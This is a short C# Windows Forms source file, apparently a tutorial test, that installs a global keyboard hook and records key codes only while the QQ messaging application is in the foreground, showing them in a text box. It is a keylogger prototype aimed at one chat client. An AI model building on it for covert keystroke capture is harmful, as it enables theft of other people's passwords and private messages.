using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Runtime.InteropServices; //调用WINDOWS API函数时要用到 
using Microsoft.Win32; //写入注册表时要用到


namespace KeyBoardHookTest
{
    public partial class Form1 : Form
    {
        private const string QQ = "QQ";

        [DllImport("user32.dll")]
        public static extern IntPtr GetWindowThreadProcessId(IntPtr hWnd, out uint ProcessId);

        [DllImport("user32.dll")]
        private static extern IntPtr GetForegroundWindow();

        public Form1()
        {
            InitializeComponent();
            Init();
        }

        private void Init()
        {
            //2.安装Hook，在程序入口中写上下面的代码（本例中用了WinForm，在Form的构造方法中安装Hook即可） 
            //安装键盘钩子 
            var k_hook = new KeyboardHook();
            k_hook.KeyDownEvent += new KeyEventHandler(hook_KeyDown);//钩住键按下 
            k_hook.Start();//安装键盘钩子

        }

        //3.判断输入键值（实现KeyDown事件） 
        private void hook_KeyDown(object sender, KeyEventArgs e)
        {
            if (GetActiveProcessFileName() == QQ)
            {
                textBox1.Text += (e.KeyValue.ToString());

            }
        }

        private static string GetActiveProcessFileName()
        {
            IntPtr hwnd = GetForegroundWindow();
            uint pid;
            GetWindowThreadProcessId(hwnd, out pid);
            Process p = Process.GetProcessById((int)pid);
            return p.ProcessName;
        }
    }
}
